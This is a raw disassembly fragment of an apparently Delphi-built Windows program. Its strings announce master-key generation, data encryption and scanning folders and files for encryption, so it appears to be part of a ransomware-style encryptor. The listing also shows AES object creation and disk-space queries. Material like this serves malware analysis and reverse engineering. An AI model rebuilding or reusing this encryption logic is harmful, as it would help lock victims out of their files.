    0044ee82xor r8, r8
    0044ee85call fn_4069b0
    0044ee8a
    0044ee8aloc_44ee8a:
    0044ee8anop
    0044ee8blea rcx, [rbp+88]
    0044ee8fmov rdx, [rip-0x20076]
    0044ee96mov r8l, 5
    0044ee9ccall fn_40ec40
    0044eea1lea rcx, [rbp+144]
    0044eea8call fn_40bd90
    0044eeadlea rsp, [rbp+128]
    0044eeb4pop rbp
    0044eeb5ret
    0044ec90
    0044eeb6
    0044eeb6 48 90 48 8d 04 05 00 00 00 00 H.H.......
    0044eec0
    0044eec0fn_44eec0:
    0044eec0push rbp
    0044eec1push rbx
    0044eec2sub rsp, 40
    0044eec6mov rbp, rsp
    0044eec9mov rbx, rdx
    0044eecclea rcx, [rbx+88]
    0044eed0mov rdx, [rip-0x200b7]
    0044eed7mov r8l, 5
    0044eeddcall fn_40ec40
    0044eee2lea rcx, [rbx+144]
    0044eee9call fn_40bd90
    0044eeeelea rsp, [rbp+40]
    0044eef2pop rbx
    0044eef3pop rbp
    0044eef4ret
    0044eec0
    0044eef5
    0044eef5 00 00 00 b0 04 02 00 ff ff ff ff ...........
    0044ef00 14 00 00 00 47 00 65 00 6e 00 65 00 72 00 61 00 ....G.e.n.e.r.a.
    0044ef10 74 00 65 00 20 00 6d 00 61 00 73 00 74 00 65 00 t.e. .m.a.s.t.e.
    0044ef20 72 00 20 00 6b 00 65 00 79 00 2e 00 00 00 00 00 r. .k.e.y.......
    0044ef30 b0 04 02 00 ff ff ff ff 16 00 00 00 45 00 6e 00 ............E.n.
    0044ef40 63 00 72 00 79 00 70 00 74 00 20 00 69 00 6e 00 c.r.y.p.t. .i.n.
    0044ef50 74 00 65 00 72 00 6e 00 61 00 6c 00 20 00 64 00 t.e.r.n.a.l. .d.
    0044ef60 61 00 74 00 61 00 2e 00 00 00 00 00 b0 04 02 00 a.t.a...........
    0044ef70 ff ff ff ff 0a 00 00 00 49 00 6e 00 69 00 74 00 ........I.n.i.t.
    0044ef80 20 00 74 00 61 00 69 00 6c 00 2e 00 00 00 00 00 .t.a.i.l.......
    0044ef90 b0 04 02 00 ff ff ff ff 2b 00 00 00 52 00 65 00 ........+...R.e.
    0044efa0 61 00 64 00 79 00 20 00 74 00 6f 00 20 00 73 00 a.d.y. .t.o. .s.
    0044efb0 63 00 61 00 6e 00 20 00 66 00 6f 00 6c 00 64 00 c.a.n. .f.o.l.d.
    0044efc0 65 00 72 00 73 00 20 00 61 00 6e 00 64 00 20 00 e.r.s. .a.n.d. .
    0044efd0 66 00 69 00 6c 00 65 00 73 00 20 00 65 00 6e 00 f.i.l.e.s. .e.n.
    0044efe0 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 c.r.y.p.t.i.o.n.
    0044eff0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
    0044f000
    0044f000fn_44f000:
    0044f000push rbp
    0044f001sub rsp, 96
    0044f005mov rbp, rsp
    0044f008mov [rbp+88], 0
    0044f010mov [rbp+80], 0
    0044f018mov [rbp+72], 0
    0044f020nop
    0044f021mov rcx, [rip-0x1a4e8]
    0044f028mov dl, 1
    0044f02acall TAESData.Create
    0044f02fmov [rbp+64], rax
    0044f033lea rcx, [rbp+80]
    0044f037call fn_442e50
    0044f03clea rcx, [rbp+80]
    0044f040lea rdx, [rbp+72]
    0044f044call fn_442cb0
    0044f049lea rcx, [rbp+80]
    0044f04dlea rdx, [rbp+72]
    0044f051lea r8, [rbp+88]
    0044f055call fn_441e90
    0044f05amov rax, [rip+0x14e47]
    0044f061mov rcx, [rax]
    0044f064lea rdx, [rbp+80]
    0044f068lea r8, [rbp+88]
    0044f06clea r9, [rbp+64]
    0044f070mov [rsp+32], 0
    0044f075mov [rsp+40], 2
    0044f07amov [rsp+48], 1
    0044f07fcall fn_44afd0
    0044f084mov rcx, [rbp+64]
    0044f088call TObject.Free
    0044f08dmov rcx, [rbp+80]
    0044f091mov edx, 32
    0044f096xor r8, r8
    0044f099call fn_4069b0
    0044f09emov rax, [rip+0x1514b]
    0044f0a5mov rcx, [rax]
    0044f0a8call TSimpleCriticalSection.Enter
    0044f0admov rax, [rip+0x1513c]
    0044f0b4lea rcx, [rax+8]
    0044f0b8call fn_40bd90
    0044f0bdmov rax, [rip+0x1512c]
    0044f0c4mov rcx, [rax]
    0044f0c7call TSimpleCriticalSection.Leave
    0044f0ccmov rax, [rip+0x14eed]
    0044f0d3mov [rax+317], 1
    0044f0danop
    0044f0dblea rcx, [rbp+72]
    0044f0dfmov rdx, [rip-0x202c6]
    0044f0e6mov r8l, 3
    0044f0eccall fn_40ec40
    0044f0f1lea rsp, [rbp+96]
    0044f0f5pop rbp
    0044f0f6ret
    0044f000
    0044f0f7
    0044f0f7 90 48 8d 04 05 00 00 00 00 .H.......
    0044f100
    0044f100fn_44f100:
    0044f100push rbp
    0044f101sub rsp, 32
    0044f105mov rbp, rsp
    0044f108lea rcx, [rdx+72]
    0044f10cmov rdx, [rip-0x202f3]
    0044f113mov r8l, 3
    0044f119call fn_40ec40
    0044f11elea rsp, [rbp+32]
    0044f122pop rbp
    0044f123ret
    0044f100
    0044f124
    0044f124 // align 0x10
    0044f130
    0044f130Unit56.finalization:
    0044f130add [rip+0x21665], 1
    0044f137cmp [rip+0x2165e], 0
    0044f13eret
    0044f130
    0044f13f
    0044f13f // align 0x10
    0044f140
    0044f140Unit56.initialization:
    0044f140sub [rip+0x21655], 1
    0044f147cmp [rip+0x2164e], -1
    0044f14eret
    0044f140
    0044f14f
    0044f14f // align 0x10
    0044f150
    0044f150fn_44f150:
    0044f150push rbp
    0044f151push rbx
    0044f152sub rsp, 72
    0044f156mov rbp, rsp
    0044f159mov [rbp+48], rcx
    0044f15dmov [rbp+56], 0
    0044f165mov [rbp+104], rdx
    0044f169lea rcx, [rbp+104]
    0044f16dcall fn_40bf00
    0044f172nop
    0044f173mov rcx, [rbp+48]
    0044f177call fn_40bd90
    0044f17cxor eax, eax
    0044f17emov rcx, [rbp+104]
    0044f182test rcx, rcx
    0044f185je 0x44f18d
    0044f187mov eax, [rcx-4]
    0044f18ashr eax, 1
    0044f18d
    0044f18dloc_44f18d:
    0044f18dtest eax, eax
    0044f18fje 0x44f2b8
    0044f195mov rax, [rbp+104]
    0044f199movzx rax, [rax]
    0044f19dcmp ax, 92
    0044f1a1jne 0x44f28f
    0044f1a7xor eax, eax
    0044f1a9test rcx, rcx
    0044f1acje 0x44f1b4
    0044f1aemov eax, [rcx-4]
    0044f1b1shr eax, 1
    0044f1b4
    0044f1b4loc_44f1b4:
    0044f1b4lea rcx, [rbp+104]
    0044f1b8mov rdx, [rbp+104]
    0044f1bcmov r8l, 3
    0044f1c2mov r9l, eax
    0044f1c5call fn_40d650
    0044f1camov rbx, [rbp+104]
    0044f1celea rcx, [rip+311]
    0044f1d5mov rdx, rbx
    0044f1d8mov r8l, 1
    0044f1decall fn_40de90
    0044f1e3mov rcx, [rbp+48]
    0044f1e7mov rdx, [rbp+104]
    0044f1ebmov r8l, 1
    0044f1f1mov r9l, eax
    0044f1f4call fn_40d650
    0044f1f9lea rcx, [rip+268]
    0044f200mov rdx, rbx
    0044f203mov r8l, 1
    0044f209call fn_40de90
    0044f20emov ecx, eax
    0044f210add ecx, 1
    0044f213xor eax, eax
    0044f215test rbx, rbx
    0044f218je 0x44f220
    0044f21amov eax, [rbx-4]
    0044f21dshr eax, 1
    0044f220
    0044f220loc_44f220:
    0044f220lea rdx, [rbp+104]
    0044f224mov r8, [rbp+104]
    0044f228mov r9l, ecx
    0044f22bmov rcx, rdx
    0044f22emov rdx, r8
    0044f231mov r8l, r9l
    0044f234mov r9l, eax
    0044f237call fn_40d650
    0044f23clea rcx, [rip+201]
    0044f243mov rdx, [rbp+104]
    0044f247mov r8l, 1
    0044f24dcall fn_40de90
    0044f252lea rcx, [rbp+104]
    0044f256mov rdx, [rbp+104]
    0044f25amov r8l, 1
    0044f260mov r9l, eax
    0044f263call fn_40d650
    0044f268mov rcx, [rbp+48]
    0044f26cmov edx, 3
    0044f271lea r8, [rip+156]
    0044f278mov rax, [rbp+48]
    0044f27cmov r9, [rax]
    0044f27fmov rax, [rbp+104]
    0044f283mov [rsp+32], rax
    0044f288call fn_40d530
    0044f28djmp 0x44f2b7
    0044f28f
    0044f28floc_44f28f:
    0044f28flea rcx, [rbp+56]
    0044f293mov edx, eax
    0044f295call fn_40d730
    0044f29alea rcx, [rbp+56]
    0044f29elea rdx, [rip+131]
    0044f2a5call fn_40d9b0
    0044f2aamov rcx, [rbp+48]
    0044f2aemov rdx, [rbp+56]
    0044f2b2call fn_40d850
    0044f2b7
    0044f2b7loc_44f2b7:
    0044f2b7nop
    0044f2b8
    0044f2b8loc_44f2b8:
    0044f2b8lea rcx, [rbp+56]
    0044f2bccall fn_40bcf0
    0044f2c1lea rcx, [rbp+104]
    0044f2c5call fn_40bd90
    0044f2camov rax, [rbp+48]
    0044f2celea rsp, [rbp+72]
    0044f2d2pop rbx
    0044f2d3pop rbp
    0044f2d4ret
    0044f150
    0044f2d5
    0044f2d5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
    0044f2e0
    0044f2e0fn_44f2e0:
    0044f2e0push rbp
    0044f2e1push rbx
    0044f2e2sub rsp, 40
    0044f2e6mov rbp, rsp
    0044f2e9mov rbx, rdx
    0044f2eclea rcx, [rbx+56]
    0044f2f0call fn_40bcf0
    0044f2f5lea rcx, [rbx+104]
    0044f2f9call fn_40bd90
    0044f2felea rsp, [rbp+40]
    0044f302pop rbx
    0044f303pop rbp
    0044f304ret
    0044f2e0
    0044f305
    0044f305 00 00 00 02 00 00 00 5c 00 00 00 .......\...
    0044f310 04 00 00 00 5c 00 5c 00 00 00 00 00 b0 04 02 00 ....\.\.........
    0044f320 ff ff ff ff 01 00 00 00 3a 00 00 00 cc cc cc cc ........:.......
    0044f330
    0044f330fn_44f330:
    0044f330push rbp
    0044f331push rbx
    0044f332sub rsp, 88
    0044f336mov rbp, rsp
    0044f339mov [rbp+40], 0
    0044f341mov [rbp+112], rcx
    0044f345lea rcx, [rbp+112]
    0044f349call fn_40bf00
    0044f34enop
    0044f34for rax, -1
    0044f353mov [rbp+32], rax
    0044f357mov bl, 10
    0044f359
    0044f359loc_44f359:
    0044f359lea rcx, [rbp+40]
    0044f35dmov rdx, [rbp+112]
    0044f361call fn_44f150
    0044f366mov rcx, [rbp+40]
    0044f36acall fn_40d180
    0044f36fmov rcx, rax
    0044f372lea rdx, [rbp+72]
    0044f376lea r8, [rbp+56]
    0044f37alea r9, [rbp+64]
    0044f37ecall GetDiskFreeSpaceExW
    0044f383test eax, eax
    0044f385je 0x44f391
    0044f387mov rax, [rbp+72]
    0044f38bmov [rbp+32], rax
    0044f38fjmp 0x44f3a4
    0044f391
    0044f391loc_44f391:
    0044f391mov ecx, 100
    0044f396call Sleep
    0044f39bsub bl, 1
    0044f39etest bl, bl
    0044f3a0jne 0x44f359
    0044f3a2nop
    0044f3a3nop
    0044f3a4
    0044f3a4loc_44f3a4:
    0044f3a4lea rcx, [rbp+40]
    0044f3a8call fn_40bd90
    0044f3adlea rcx, [rbp+112]
    0044f3b1call fn_40bd90
    0044f3b6mov rax, [rbp+32]
    0044f3balea rsp, [rbp+88]
    0044f3bepop rbx
    0044f3bfpop rbp
    0044f3c0ret
    0044f330